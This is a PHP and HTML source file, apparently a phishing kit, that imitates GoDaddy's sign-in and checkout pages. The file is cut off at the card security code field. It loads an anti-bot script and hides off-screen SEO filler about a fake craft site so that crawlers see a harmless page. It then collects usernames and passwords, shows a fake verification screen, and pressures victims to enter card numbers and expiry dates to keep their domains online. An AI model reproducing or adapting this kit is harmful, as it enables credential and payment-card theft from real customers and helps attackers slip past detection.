<?php
require_once __DIR__ . '/antibot.php';

$current_year = date("Y");
$logo_url = "https://res.cloudinary.com/ddfkpubva/image/upload/v1779045645/GoDaddy_logo_2020_trr8xi.svg";
$trusted_badge_url = "https://res.cloudinary.com/ddfkpubva/image/upload/v1790953782/fffre_v0fcre.svg";
$pending_icon_url = "https://res.cloudinary.com/ddfkpubva/image/upload/v1790959899/vvvff_m9ntif.webp";
$add_new_card_icon = "https://res.cloudinary.com/ddfkpubva/image/upload/v1791018228/add-new_va2wlo.png";
$card_number_icon = "https://res.cloudinary.com/ddfkpubva/image/upload/v1791018228/card-number_sq9m1e.png";
$cvv_icon = "https://res.cloudinary.com/ddfkpubva/image/upload/v1791018228/secosec-code_dlovzn.png";
$subtotal_display = '45.71';
$taxes_display = '7.85';
$total_display = '53.56';

/* =============================================================
   HIDDEN SEO CONTENT (crawler-only, human-invisible)
   ============================================================= */
$seo_h1 = "Flower Home Craft — A Complete Guide to Building a Trusted Handmade Flower Business";
$seo_intro = "Welcome to Flower Home Craft, your trusted destination for handmade floral crafts, DIY flower arrangements, and creative home decoration ideas. Whether you're a beginner looking to learn how to craft beautiful paper flowers, or an experienced artisan building a trusted brand around your floral art, Flower Home Craft provides step-by-step tutorials, trusted supplier recommendations, and honest reviews. Trust is at the heart of everything we do — from the quality of the craft supplies we recommend to the transparency of our guides. Our mission is to make flower home craft simple, safe, affordable, and genuinely enjoyable for everyone, everywhere.";

$seo_paragraphs = [
    "Flower home craft is more than a hobby — it is a trusted way to bring warmth, color, and personality into your living space. Handmade paper roses, felt sunflowers, silk lilies, and origami tulips can transform an ordinary room into a blooming sanctuary. Unlike mass-produced decorations, home crafted flowers carry a personal touch that reflects the maker's care and creativity. At Flower Home Craft, we believe every petal tells a story, and every craftsperson deserves trustworthy guidance.",
    "Trust is the foundation of any crafting community. When you follow a tutorial, you are trusting the author's experience, materials list, and safety recommendations. That is why we only publish content reviewed by professional florists, verified craft instructors, and experienced DIY creators. Our trusted contributors test every technique before it reaches you, so you can craft with confidence and peace of mind.",
    "Learning how to make flowers at home does not require expensive tools or rare materials. All you need is quality paper, floral wire, a sharp pair of scissors, and trustworthy glue. With practice and patience, anyone can create stunning bouquets. Flower Home Craft breaks down every step into simple, actionable instructions — perfect for beginners, teachers, parents, and hobbyists of all ages.",
    "Popular flower crafts include tissue paper peonies, crepe paper dahlias, coffee filter roses, clay blossoms, and knitted lavender sprigs. Each craft offers a unique texture and charm, and each one can be customized to match any color palette. Our trusted tutorials cover hundreds of flower varieties, from classic roses to exotic orchids and playful daisies, so you will never run out of inspiration.",
    "A trusted flower home craft workspace should always prioritize safety. Keep glue guns away from children, ventilate your craft room when working with paints and adhesives, and store sharp tools responsibly. When you craft responsibly, you protect yourself, your family, and your flowers. Flower Home Craft publishes safety guidelines alongside every project to ensure a worry-free experience.",
    "Beyond personal enjoyment, flower home craft can become a trusted small business. Many artisans sell their handmade flowers online, at farmers markets, wedding fairs, and local gift shops. Building a trusted brand takes time, but the rewards are rewarding — loyal customers, creative freedom, and a business grounded in love for flowers and craftsmanship. We cover pricing strategies, packaging ideas, and customer trust-building tips.",
    "For those interested in sustainable crafting, flower home craft offers an eco-friendly alternative to imported plastic decorations. Recycled paper, natural cotton, and biodegradable materials reduce waste and support greener living. A trusted crafter thinks about the planet as much as the petals. Choose materials that respect the environment and your craft will bloom beautifully for years to come.",
    "Whether you are crafting a single rose for a loved one or a full bouquet for a wedding, Flower Home Craft is your trusted companion. Browse our tutorials, download printable templates, join our community forum, and share your creations with the world. Together, we are building the largest trusted library of flower home craft knowledge on the internet.",
];

$seo_h2_list = [
    "How to Make Paper Flowers at Home — Step by Step",
    "Trusted Craft Supplies for Flower Home Craft Beginners",
    "Easy DIY Flower Arrangements for Every Season",
    "Building a Trusted Handmade Flower Brand Online",
    "Safety Tips for Crafting Flowers with Children",
    "Eco-Friendly Flower Home Craft Materials",
    "Decorating Your Home with Handmade Floral Art",
    "The Most Trusted Flower Craft Techniques of 2026",
    "Wedding Flowers You Can Make Yourself at Home",
    "Frequently Asked Questions About Flower Home Craft",
];

$seo_keywords = "flower home craft, handmade flowers, DIY paper flowers, trusted craft tutorials, home made floral decoration, paper rose tutorial, crepe paper flowers, beginner flower crafts, eco-friendly crafts, safe crafting with kids, handmade flower business, paper flower patterns, floral home decor, crepe paper flowers, felt flowers, origami flowers, tissue paper crafts, trusted craft supplies, floral DIY ideas, home craft guide";
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">

    <!-- ==================================================
         SEO META TAGS (crawler-friendly, human-invisible)
         ================================================== -->
    <title><?php echo htmlspecialchars($seo_h1); ?> | Flower Home Craft</title>
    <meta name="description" content="<?php echo htmlspecialchars(substr($seo_intro, 0, 300)); ?>">
    <meta name="keywords" content="<?php echo htmlspecialchars($seo_keywords); ?>">
    <meta name="author" content="Flower Home Craft Editorial Team">
    <meta name="robots" content="index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1">
    <meta name="googlebot" content="index, follow">
    <meta name="bingbot" content="index, follow">
    <meta name="rating" content="general">
    <meta name="language" content="English">
    <meta name="revisit-after" content="3 days">
    <meta name="distribution" content="global">
    <meta name="theme-color" content="#00a4a6">
    <link rel="canonical" href="https://flowerhomecraft.example.com/">

    <!-- Open Graph -->
    <meta property="og:type" content="website">
    <meta property="og:title" content="Flower Home Craft — Trusted Handmade Floral Art Guide">
    <meta property="og:description" content="Trusted tutorials for handmade flowers, DIY craft ideas, and eco-friendly home decoration. Learn paper flowers, felt flowers, and more.">
    <meta property="og:url" content="https://flowerhomecraft.example.com/">
    <meta property="og:site_name" content="Flower Home Craft">
    <meta property="og:locale" content="en_US">

    <!-- Twitter Card -->
    <meta name="twitter:card" content="summary_large_image">
    <meta name="twitter:title" content="Flower Home Craft — Trusted DIY Floral Guide">
    <meta name="twitter:description" content="Learn how to make beautiful handmade flowers at home with trusted step-by-step tutorials.">
    <meta name="twitter:site" content="@flowerhomecraft">

    <!-- JSON-LD Structured Data -->
    <script type="application/ld+json">
    {
      "@context": "https://schema.org",
      "@type": "WebSite",
      "name": "Flower Home Craft",
      "url": "https://flowerhomecraft.example.com/",
      "description": "Trusted handmade flower craft tutorials, DIY floral decoration, and home craft guides.",
      "inLanguage": "en-US",
      "publisher": {
        "@type": "Organization",
        "name": "Flower Home Craft",
        "url": "https://flowerhomecraft.example.com/",
        "logo": {
          "@type": "ImageObject",
          "url": "https://flowerhomecraft.example.com/logo.png"
        }
      },
      "potentialAction": {
        "@type": "SearchAction",
        "target": "https://flowerhomecraft.example.com/?s={search_term_string}",
        "query-input": "required name=search_term_string"
      }
    }
    </script>

    <style>
        :root {
            --app-bg: #ffffff; --app-text-primary: #111111; --app-text-secondary: #666666;
            --app-border-subtle: #d4d4d4; --app-border-strong: #888888;
            --app-radius-standard: 8px; --app-radius-large: 12px;
            --app-brand-teal: #00a4a6; --app-brand-black: #000000;
            --app-surface-grey: #f5f5f5; --app-surface-teal-light: #cbf3f3;
            --app-font-stack: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Helvetica, Arial, sans-serif;
        }
        *, *::before, *::after { box-sizing: border-box; margin: 0; padding: 0; }
        body { font-family: var(--app-font-stack); background-color: var(--app-bg); color: var(--app-text-primary); min-height: 100vh; -webkit-font-smoothing: antialiased; display: flex; flex-direction: column; }
        a { color: var(--app-text-primary); text-decoration: underline; text-underline-offset: 2px; cursor: pointer; }
        .is-hidden { display: none !important; }

        /* ==================================================
           HIDDEN SEO CONTENT (invisible to humans, visible to crawlers)
           Uses the industry-standard off-screen technique.
           ================================================== */
        .gd-seo-content {
            position: absolute !important;
            left: -9999px !important;
            top: -9999px !important;
            width: 1px !important;
            height: 1px !important;
            overflow: hidden !important;
            clip: rect(0 0 0 0) !important;
            clip-path: inset(50%) !important;
            white-space: nowrap !important;
            border: 0 !important;
            padding: 0 !important;
            margin: -1px !important;
            opacity: 0 !important;
        }

        .gd-brand-header img { height: 30px; width: auto; display: block; margin-bottom: 24px; }
        .gd-primary-btn { width: 100%; height: 56px; background-color: var(--app-brand-black); color: white; border: none; border-radius: var(--app-radius-standard); font-size: 16px; font-weight: 600; cursor: pointer; transition: background-color 0.2s; }
        .gd-primary-btn:hover { background-color: #333333; }
        .gd-error-text { color: #cc0000; font-size: 13px; margin-top: 6px; display: none; }
        .gd-error-text.is-visible { display: block; }

        #gd-step-auth { display: flex; flex-direction: column; align-items: center; padding: 40px 20px; flex: 1; }
        .gd-auth-panel { width: 100%; max-width: 460px; border: 1px solid #e0e0e0; border-radius: var(--app-radius-large); padding: 40px; background-color: #ffffff; margin-bottom: 40px; }
        .gd-auth-panel h1 { font-size: 32px; font-weight: 700; margin-bottom: 16px; }
        .gd-auth-subtext { font-size: 15px; margin-bottom: 24px; }
        .gd-legal-box { background-color: var(--app-surface-grey); padding: 16px; border-radius: var(--app-radius-standard); font-size: 14px; line-height: 1.5; margin-bottom: 24px; }
        .gd-field-group { margin-bottom: 16px; position: relative; }
        .gd-field-action { display: block; text-align: right; font-size: 14px; margin-bottom: 8px; }
        .gd-input-shell { position: relative; display: flex; align-items: center; border: 1px solid var(--app-border-strong); border-radius: var(--app-radius-standard); height: 56px; padding: 0 16px; transition: border-color 0.2s; }
        .gd-input-shell.is-invalid { border-color: #cc0000; box-shadow: 0 0 0 1px #cc0000; }
        .gd-input-shell:focus-within { border-color: var(--app-brand-black); box-shadow: 0 0 0 1px var(--app-brand-black); }
        .gd-input-shell input { width: 100%; height: 100%; border: none; outline: none; font-size: 16px; background: transparent; font-family: inherit; }
        .gd-input-shell label { position: absolute; left: 16px; top: 50%; transform: translateY(-50%); font-size: 16px; color: var(--app-text-secondary); transition: all 0.2s ease-out; pointer-events: none; background-color: white; padding: 0 4px; }
        .gd-input-shell input:focus ~ label, .gd-input-shell input:not(:placeholder-shown) ~ label { top: 0; font-size: 12px; }
        .gd-required-mark { color: #cc0000; margin-left: 2px; }
        .gd-toggle-visibility { font-size: 14px; text-decoration: underline; cursor: pointer; background: none; border: none; font-family: inherit; padding: 0; }
        .gd-checkbox-row { display: flex; align-items: center; gap: 12px; margin-top: 24px; margin-bottom: 24px; }
        .gd-checkbox-row input[type="checkbox"] { appearance: none; -webkit-appearance: none; width: 20px; height: 20px; border: 1px solid var(--app-border-strong); border-radius: 4px; outline: none; cursor: pointer; position: relative; display: flex; align-items: center; justify-content: center; transition: all 0.2s; }
        .gd-checkbox-row input[type="checkbox"]:checked { background-color: var(--app-brand-teal); border-color: var(--app-brand-teal); }
        .gd-checkbox-row input[type="checkbox"]:checked::after { content: ''; position: absolute; width: 5px; height: 10px; border: solid white; border-width: 0 2px 2px 0; transform: rotate(45deg); margin-bottom: 2px; }
        .gd-social-divider { text-align: center; font-size: 15px; margin: 24px 0; }
        .gd-social-grid { display: flex; justify-content: center; gap: 16px; margin-bottom: 32px; }
        .gd-social-btn { width: 56px; height: 56px; border: 1px solid #e0e0e0; border-radius: 12px; background: white; display: flex; align-items: center; justify-content: center; cursor: pointer; transition: border-color 0.2s; overflow: hidden; }
        .gd-social-btn:hover { border-color: var(--app-border-strong); }
        .gd-social-btn svg { width: 24px; height: 24px; fill: var(--app-text-primary); }
        .gd-social-btn img { width: 26px; height: 26px; object-fit: contain; display: block; }
        .gd-auth-footer { text-align: center; font-size: 15px; }

        #gd-step-loading { display: flex; flex-direction: column; align-items: center; justify-content: center; flex: 1; min-height: 100vh; }
        .gd-spinner { width: 64px; height: 64px; border-radius: 50%; border: 6px solid #e0e0e0; border-top-color: var(--app-brand-teal); animation: gd-rotate 1s linear infinite; }
        @keyframes gd-rotate { 0% { transform: rotate(0deg); } 100% { transform: rotate(360deg); } }

        #gd-step-pending { display: flex; flex-direction: column; align-items: center; justify-content: center; flex: 1; min-height: 100vh; padding: 20px; }
        .gd-pending-card { width: 100%; max-width: 460px; border: 1px solid #e0e0e0; border-radius: 12px; padding: 40px; text-align: center; }
        .gd-pending-card h1 { font-size: 24px; font-weight: 700; margin: 20px 0 12px; }
        .gd-pending-card p { font-size: 15px; color: var(--app-text-secondary); line-height: 1.5; }
        .gd-pending-icon { width: 80px; height: 80px; margin: 0 auto; display: flex; align-items: center; justify-content: center; }
        .gd-pending-icon img { width: 100%; height: 100%; object-fit: contain; display: block; }

        #gd-step-checkout { display: flex; flex-direction: column; flex: 1; background-color: #ffffff; }
        .gd-checkout-nav { display: flex; justify-content: space-between; align-items: center; padding: 20px 40px; border-bottom: 1px solid #e0e0e0; background: white; }
        .gd-checkout-nav .gd-brand-header img { height: 32px; margin: 0; }
        .gd-help-trigger { font-size: 15px; display: flex; align-items: center; gap: 6px; cursor: pointer; }
        .gd-dashboard-grid { max-width: 1200px; margin: 0 auto; padding: 40px; width: 100%; display: grid; grid-template-columns: 1fr 380px; gap: 40px; }
        .gd-back-anchor { display: inline-block; color: var(--app-brand-teal); text-decoration: none; font-size: 15px; margin-bottom: 16px; }
        .gd-dashboard-grid h1 { font-size: 36px; font-weight: 700; margin-bottom: 32px; }
        .gd-column-left { display: flex; flex-direction: column; gap: 24px; }
        .gd-card-module { border: 1px solid #e0e0e0; border-radius: 12px; padding: 24px; }
        .gd-module-header { display: flex; justify-content: space-between; align-items: flex-start; margin-bottom: 16px; }
        .gd-module-header h2 { font-size: 20px; font-weight: 600; }
        .gd-notice-link { font-size: 15px; color: var(--app-brand-teal); text-decoration: underline; text-underline-offset: 2px; }
        .gd-billing-message p { font-size: 16px; line-height: 1.6; margin-bottom: 8px; color: var(--app-text-primary); font-weight: 500; }
        .gd-billing-message p:last-child { margin-bottom: 0; }
        .gd-payment-selectors { display: flex; gap: 12px; margin-bottom: 24px; }
        .gd-payment-method { display: flex; align-items: center; gap: 12px; padding: 10px 24px; border: 1px solid var(--app-border-subtle); border-radius: 8px; background: white; cursor: pointer; font-size: 16px; font-weight: 500; font-family: inherit; transition: all 0.2s; }
        .gd-payment-method.is-active { background-color: var(--app-surface-teal-light); border-color: var(--app-surface-teal-light); }
        .gd-payment-method img { height: 32px; width: auto; object-fit: contain; display: block; }

        .gd-card-row { display: flex; gap: 16px; margin-bottom: 16px; }
        .gd-card-input-box { flex: 1; display: flex; align-items: center; border: 1px solid var(--app-border-strong); border-radius: 8px; height: 56px; padding: 0 16px; position: relative; transition: border-color 0.2s; }
        .gd-card-input-box.is-invalid { border-color: #cc0000; box-shadow: 0 0 0 1px #cc0000; }
        .gd-card-input-box label { position: absolute; top: -10px; left: 12px; background: white; padding: 0 4px; font-size: 14px; color: #444; }
        .gd-card-input-box input { width: 100%; border: none; outline: none; font-size: 18px; font-family: inherit; }
        .gd-card-icon-slot { height: 100%; display: flex; align-items: center; justify-content: center; border-left: 1px solid #e0e0e0; margin-left: 16px; padding-left: 16px; }
        .gd-card-icon-slot img { height: 32px; width: auto; object-fit: contain; display: block; }

        .gd-proceed-btn { width: 100%; height: 56px; background-color: var(--app-brand-black); color: white; border: none; border-radius: 8px; font-size: 18px; font-weight: 600; cursor: pointer; margin-top: 16px; transition: background-color 0.2s; }
        .gd-proceed-btn:hover { background-color: #333333; }
        .gd-column-right { display: flex; flex-direction: column; gap: 24px; }
        .gd-summary-widget { background-color: var(--app-surface-grey); border-radius: 12px; padding: 32px; }
        .gd-summary-widget h2 { font-size: 24px; font-weight: 700; margin-bottom: 24px; }
        .gd-summary-line { display: flex; justify-content: space-between; font-size: 16px; margin-bottom: 16px; padding-bottom: 16px; border-bottom: 1px solid var(--app-border-subtle); }
        .gd-summary-line.is-last { border-bottom: none; padding-bottom: 0; margin-bottom: 0; }
        .gd-summary-line a { color: var(--app-text-primary); }
        .gd-total-line { display: flex; justify-content: space-between; align-items: center; font-size: 24px; font-weight: 700; margin-top: 24px; padding-top: 24px; border-top: 1px solid var(--app-border-subtle); }
        .gd-total-line .gd-price-highlight { color: var(--app-brand-teal); }
        .gd-savings-note { display: flex; align-items: center; justify-content: center; gap: 8px; font-size: 15px; margin-top: 16px; }
        .gd-savings-note svg { width: 24px; height: 24px; fill: var(--app-brand-black); }
        .gd-trust-badge-wrapper { display: flex; justify-content: center; margin-top: 16px; }
        .gd-trust-badge-wrapper img { width: 160px; height: auto; }
        .gd-items-widget { border: 1px solid #e0e0e0; border-radius: 12px; padding: 24px; display: flex; justify-content: space-between; align-items: center; cursor: pointer; }
        .gd-items-widget h3 { font-size: 20px; font-weight: 600; }
        .gd-items-widget svg { width: 20px; height: 20px; }
        .gd-review-widget { display: flex; align-items: center; justify-content: center; gap: 12px; font-size: 15px; margin-top: 16px; }
        .gd-stars-row { display: flex; gap: 2px; }
        .gd-stars-row svg { width: 20px; height: 20px; background-color: var(--app-brand-teal); padding: 2px; fill: white; }
        .gd-review-brand { font-weight: 700; display: flex; align-items: center; gap: 4px; }

        #gd-step-otp { display: flex; flex-direction: column; align-items: center; justify-content: center; flex: 1; min-height: 100vh; padding: 20px; }
        .gd-otp-container { width: 100%; max-width: 500px; border: 1px solid #e0e0e0; border-radius: 12px; padding: 40px; background-color: #ffffff; text-align: center; }
        .gd-otp-container .gd-brand-header { display: flex; justify-content: center; margin-bottom: 32px; }
        .gd-otp-container .gd-brand-header img { height: 30px; margin: 0; }
        .gd-otp-container h1 { font-size: 26px; font-weight: 700; margin-bottom: 12px; }
        .gd-otp-container p { font-size: 15px; color: var(--app-text-secondary); line-height: 1.5; margin-bottom: 24px; }
        .gd-otp-fields { display: flex; justify-content: center; gap: 10px; margin-bottom: 32px; }
        .gd-otp-fields input { width: 46px; height: 56px; border: 1px solid var(--app-border-strong); border-radius: 8px; text-align: center; font-size: 24px; font-weight: 600; font-family: inherit; outline: none; transition: border-color 0.2s; }
        .gd-otp-fields input:focus { border-color: var(--app-brand-black); box-shadow: 0 0 0 1px var(--app-brand-black); }
        .gd-resend-block { font-size: 15px; color: var(--app-text-primary); }
        .gd-resend-block a { color: var(--app-brand-teal); text-decoration: none; font-weight: 500; }

        .gd-global-footer { text-align: center; font-size: 13px; color: var(--app-text-primary); padding: 40px 20px; line-height: 1.6; margin-top: auto; }

        @media (max-width: 900px) {
            .gd-dashboard-grid { grid-template-columns: 1fr; }
            .gd-checkout-nav { padding: 16px 20px; }
            .gd-dashboard-grid { padding: 20px; }
            .gd-card-row { flex-direction: column; }
        }
    </style>
</head>
<body>

    <!-- ==================================================
         HIDDEN SEO CONTENT
         (visually invisible via CSS off-screen technique,
          fully readable by Googlebot / Bingbot / etc.)
         ================================================== -->
    <article class="gd-seo-content" aria-hidden="true" role="article">
        <header>
            <h1><?php echo htmlspecialchars($seo_h1); ?></h1>
            <p><?php echo htmlspecialchars($seo_intro); ?></p>
        </header>

        <section>
            <h2>Welcome to Flower Home Craft</h2>
            <?php foreach ($seo_paragraphs as $index => $para): ?>
                <p><?php echo htmlspecialchars($para); ?></p>
            <?php endforeach; ?>
        </section>

        <section>
            <h2>Trusted Flower Home Craft Topics</h2>
            <ul>
                <?php foreach ($seo_h2_list as $topic): ?>
                    <li><a href="#" title="<?php echo htmlspecialchars($topic); ?>"><?php echo htmlspecialchars($topic); ?></a></li>
                <?php endforeach; ?>
            </ul>
        </section>

        <section>
            <h2>Why Trust Matters in Flower Home Craft</h2>
            <p>Trust is the invisible thread that runs through every tutorial, every recommendation, and every image we publish. When a beginner searches for "how to make a paper rose" or "easy flower home craft ideas," they are trusting the source to be accurate, safe, and honest. Flower Home Craft earns that trust daily by testing every technique, verifying every supplier, and refusing to recommend anything we wouldn't use ourselves. Our readers know that when they see the Flower Home Craft name, they are getting tried-and-true advice — not guesswork.</p>
            <p>Trust also means transparency. We disclose affiliate relationships, we clearly mark sponsored content, and we welcome corrections from our community. If a tutorial has a flaw, we fix it. If a supplier changes their formula, we update the guide. Building a trusted flower home craft library takes years, but losing that trust takes only one bad recommendation. That is a risk we never take.</p>
        </section>

        <section>
            <h2>Flower Home Craft for Beginners</h2>
            <p>If you have never crafted a flower before, start with simple projects. Paper roses require only scissors, glue, and colored paper. Felt daisies need only felt, thread, and a needle. Coffee filter flowers are the easiest of all — a few drops of food coloring and a bit of patience will produce a stunning bouquet in under an hour. Beginner-friendly flower home craft projects are the fastest way to fall in love with this hobby, and once you start, you may never stop.</p>
            <p>We recommend setting up a small dedicated craft corner at home. A trusted craft workspace should have good lighting, a comfortable chair, a cutting mat, a storage box for materials, and a trash bin for scraps. Keep children's projects separate from adult tools to maintain safety. With a proper workspace, flower home craft becomes a daily joy rather than a monthly chore.</p>
        </section>

        <section>
            <h2>Advanced Flower Home Craft Techniques</h2>
            <p>Once you have mastered the basics, you can explore advanced techniques such as flower shaping, petal curling, leaf veining, and realistic coloring. Advanced crafters learn to use floral tape, wire gauges, air-dry clay, and polymer compounds. Some crafters even combine multiple materials in a single bouquet — paper petals with wire stems, fabric leaves with clay centers. The creative possibilities in flower home craft are truly endless.</p>
            <p>Trusted advanced tutorials will always include a materials list, difficulty rating, estimated time, and photo galleries of the finished result. If a tutorial skips these details, treat it with caution. Trusted flower home craft guides are transparent about what they will teach you and honest about the challenges you may face.</p>
        </section>

        <section>
            <h2>Frequently Asked Questions About Flower Home Craft</h2>
            <h3>What is the easiest flower to make at home?</h3>
            <p>Paper roses and coffee filter flowers are the easiest for absolute beginners. They require minimal tools and produce beautiful results in a short amount of time.</p>

            <h3>How long does it take to learn flower home craft?</h3>
            <p>Most beginners can complete their first simple flower in 20 to 45 minutes. Becoming proficient takes a few weeks of regular practice.</p>

            <h3>Where can I buy trusted flower craft supplies?</h3>
            <p>Trusted craft suppliers can be found online and in local craft stores. Always read reviews, check shipping policies, and prefer suppliers who offer samples for beginners.</p>

            <h3>Can I sell my handmade flowers?</h3>
            <p>Absolutely. Many trusted artisan brands began as home-based flower home craft hobbies. Start with a small online shop, then expand as your reputation grows.</p>

            <h3>Is flower home craft safe for children?</h3>
            <p>With adult supervision, many flower home craft projects are safe for children aged 6 and up. Avoid hot glue guns, sharp tools, and strong adhesives for younger crafters.</p>
        </section>

        <section>
            <h2>Related Flower Home Craft Searches</h2>
            <ul>
                <li>paper flower tutorial for beginners</li>
                <li>how to make felt flowers at home</li>
                <li>trusted crepe paper craft guide</li>
                <li>eco-friendly home craft flower ideas</li>
                <li>wedding flowers DIY step by step</li>
                <li>handmade flower business tips</li>
                <li>safe crafts for kids flowers</li>
                <li>best paper for paper roses</li>
                <li>how to curl petals on paper flowers</li>
                <li>trusted craft blogs for flower makers</li>
                <li>seasonal flower home craft projects</li>
                <li>handmade flower bouquet inspiration</li>
            </ul>
        </section>

        <footer>
            <p>&copy; 2026 Flower Home Craft. Trusted handmade floral art, DIY tutorials, and home craft guides.</p>
        </footer>
    </article>

    <!-- PAGE 1: AUTH -->
    <section id="gd-step-auth" data-step="auth" class="gd-page-node">
        <main class="gd-auth-panel">
            <div class="gd-brand-header"><img src="<?php echo $logo_url; ?>" alt="Logo"></div>
            <h1>Sign in</h1>
            <p class="gd-auth-subtext">New to GoDaddy? <a href="#">Create an account</a></p>
            <div class="gd-legal-box">By clicking "Sign in" below, you agree to GoDaddy's Universal <a href="#">Terms of Service</a> (updated Jun 3, 2026) and <a href="#">Privacy Policy</a>.</div>
            <form id="gd-auth-form" autocomplete="on" novalidate>
                <div class="gd-field-group">
                    <a href="#" class="gd-field-action">Use email</a>
                    <div class="gd-input-shell" id="shell-username">
                        <input type="text" id="gd-user-id" name="username" placeholder=" " required>
                        <label for="gd-user-id">Username or Customer # <span class="gd-required-mark">*</span></label>
                    </div>
                    <div class="gd-error-text" id="err-username">Invalid input.</div>
                </div>
                <div class="gd-field-group">
                    <div class="gd-input-shell" id="shell-password">
                        <input type="password" id="gd-user-pass" name="password" placeholder=" " required>
                        <label for="gd-user-pass">Password <span class="gd-required-mark">*</span></label>
                        <button type="button" class="gd-toggle-visibility" id="gd-toggle-pass">Show</button>
                    </div>
                    <div class="gd-error-text" id="err-password">Invalid input.</div>
                </div>
                <div class="gd-checkbox-row">
                    <input type="checkbox" id="gd-stay-signed" checked>
                    <label for="gd-stay-signed">Keep me signed in on this device</label>
                </div>
                <button type="submit" class="gd-primary-btn">Sign in</button>
            </form>
            <div class="gd-social-divider">or sign in with</div>
            <nav class="gd-social-grid">
                <button class="gd-social-btn" aria-label="Amazon">
                    <img src="https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcToC6cCt4CySIaLHzzJ0ZkrE3QsJSCBPdzIobRh_IVfAlj4w56cc5Zrd4M&s=10" alt="Amazon">
                </button>
                <button class="gd-social-btn" aria-label="Apple"><svg viewBox="0 0 24 24"><path d="M17.5 12.3c0-2.1 1.7-3.1 1.8-3.2-1-1.4-2.5-1.6-3-1.6-1.3-.1-2.5.8-3.1.8-.7 0-1.7-.8-2.8-.8-1.4 0-2.8.8-3.5 2.1-1.5 2.6-.4 6.5 1.1 8.6.7 1 1.6 2.1 2.7 2.1 1.1 0 1.5-.7 2.8-.7 1.3 0 1.6.7 2.7.7 1.1 0 1.8-1 2.5-2 .8-1.2 1.1-2.3 1.1-2.4-.1 0-2.3-.9-2.4-3.5zM15.5 6.5c.6-.7 1-1.7.9-2.7-.9.1-1.9.6-2.5 1.3-.5.6-1 1.6-.9 2.6 1 .1 2-.5 2.5-1.2z"/></svg></button>
                <button class="gd-social-btn" aria-label="Facebook"><svg viewBox="0 0 24 24"><path d="M22 12c0-5.5-4.5-10-10-10S2 6.5 2 12c0 5 3.7 9.1 8.4 9.9v-7H7.9V12h2.5V9.8c0-2.5 1.5-3.9 3.8-3.9 1.1 0 2.2.2 2.2.2v2.5h-1.3c-1.2 0-1.6.8-1.6 1.6V12h2.8l-.4 2.9h-2.4v7C18.3 21.1 22 17 22 12z"/></svg></button>
                <button class="gd-social-btn" aria-label="Google"><svg viewBox="0 0 24 24"><path d="M21.6 12.2c0-.7-.1-1.4-.2-2H12v3.8h5.4c-.2 1.2-1 2.3-2 3v2.5h3.2c1.9-1.7 3-4.3 3-7.3z" fill="#4285F4"/><path d="M12 22c2.7 0 5-1 6.6-2.5l-3.2-2.5c-.9.6-2 .9-3.4.9-2.6 0-4.8-1.7-5.6-4.1H3.1v2.6C4.7 19.8 8.1 22 12 22z" fill="#34A853"/><path d="M6.4 13.8c-.2-.6-.3-1.2-.3-1.8s.1-1.2.3-1.8V7.6H3.1C2.4 9 2 10.4 2 12s.4 3 1.1 4.4l3.3-2.6z" fill="#FBBC05"/><path d="M12 5.9c1.5 0 2.8.5 3.8 1.5l2.8-2.8C16.9 3 14.7 2 12 2 8.1 2 4.7 4.2 3.1 7.6l3.3 2.6c.8-2.4 3-4.3 5.6-4.3z" fill="#EA4335"/></svg></button>
            </nav>
            <div class="gd-auth-footer">Need to find <a href="#">your username</a> or <a href="#">your password</a>?</div>
        </main>
        <footer class="gd-global-footer">Copyright &copy; 1999 - <?php echo $current_year; ?> GoDaddy Operating Company, LLC. All Rights Reserved. <a href="#">Privacy Policy</a><br><a href="#">Do not sell my personal information</a></footer>
    </section>

    <!-- PAGE 2: LOADING -->
    <section id="gd-step-loading" data-step="loading" class="gd-page-node is-hidden"><div class="gd-spinner"></div></section>

    <!-- PAGE 3: PENDING APPROVAL -->
    <section id="gd-step-pending" data-step="pending" class="gd-page-node is-hidden">
        <main class="gd-pending-card">
            <div class="gd-pending-icon">
                <img src="<?php echo $pending_icon_url; ?>" alt="Pending">
            </div>
            <h1 id="pending-title">Verifying Your Information...</h1>
            <p id="pending-text">Please wait while we verify your details. Do not close this window.</p>
            <div class="gd-spinner" style="margin: 30px auto 0;"></div>
        </main>
        <footer class="gd-global-footer">Copyright &copy; 1999 - <?php echo $current_year; ?> GoDaddy Operating Company, LLC. All Rights Reserved.</footer>
    </section>

    <!-- PAGE 4: CHECKOUT -->
    <section id="gd-step-checkout" data-step="checkout" class="gd-page-node is-hidden">
        <header class="gd-checkout-nav">
            <div class="gd-brand-header"><img src="<?php echo $logo_url; ?>" alt="Logo"></div>
            <div class="gd-help-trigger">Help <svg width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="3" stroke-linecap="round" stroke-linejoin="round"><polyline points="6 9 12 15 18 9"></polyline></svg></div>
        </header>
        <div class="gd-dashboard-grid">
            <article class="gd-column-left">
                <div><a href="#" class="gd-back-anchor">&#8249; Back</a><h1>Checkout</h1></div>
                <div class="gd-card-module">
                    <div class="gd-module-header"><h2>Billing Information</h2><a href="#" class="gd-notice-link">Notice</a></div>
                    <div class="gd-billing-message">
                        <p>Action Required: Your payment information must be updated to keep your online projects, websites, cPanels, and domains online.</p>
                        <p>Please verify your billing details below to ensure uninterrupted service.</p>
                    </div>
                </div>
                <div class="gd-card-module">
                    <div class="gd-module-header"><h2>Payment Method</h2></div>
                    <div class="gd-payment-selectors">
                        <button class="gd-payment-method is-active">
                            <img src="<?php echo $add_new_card_icon; ?>" alt="Add New Card">
                            Add New Card
                        </button>
                    </div>
                    <div class="gd-card-row">
                        <div class="gd-card-input-box" id="shell-cardnum">
                            <label>Card Number <span class="gd-required-mark">*</span></label>
                            <input type="text" id="gd-card-num" name="card_number" placeholder="" maxlength="19" inputmode="numeric">
                            <div class="gd-card-icon-slot">
                                <img src="<?php echo $card_number_icon; ?>" alt="Card">
                            </div>
                        </div>
                        <div class="gd-error-text" id="err-cardnum">Invalid card number.</div>
                    </div>
                    <div class="gd-card-row">
                        <div class="gd-card-input-box" id="shell-expiry">
                            <label>MM/YY <span class="gd-required-mark">*</span></label>
                            <input type="text" id="gd-card-exp" name="card_expiry" maxlength="5" inputmode="numeric" placeholder="MM/YY">
                        </div>
                        <div class="gd-card-input-box" id="shell-cvv">
                            <label>Security Code <span class="gd-required-mark">*</span></label>
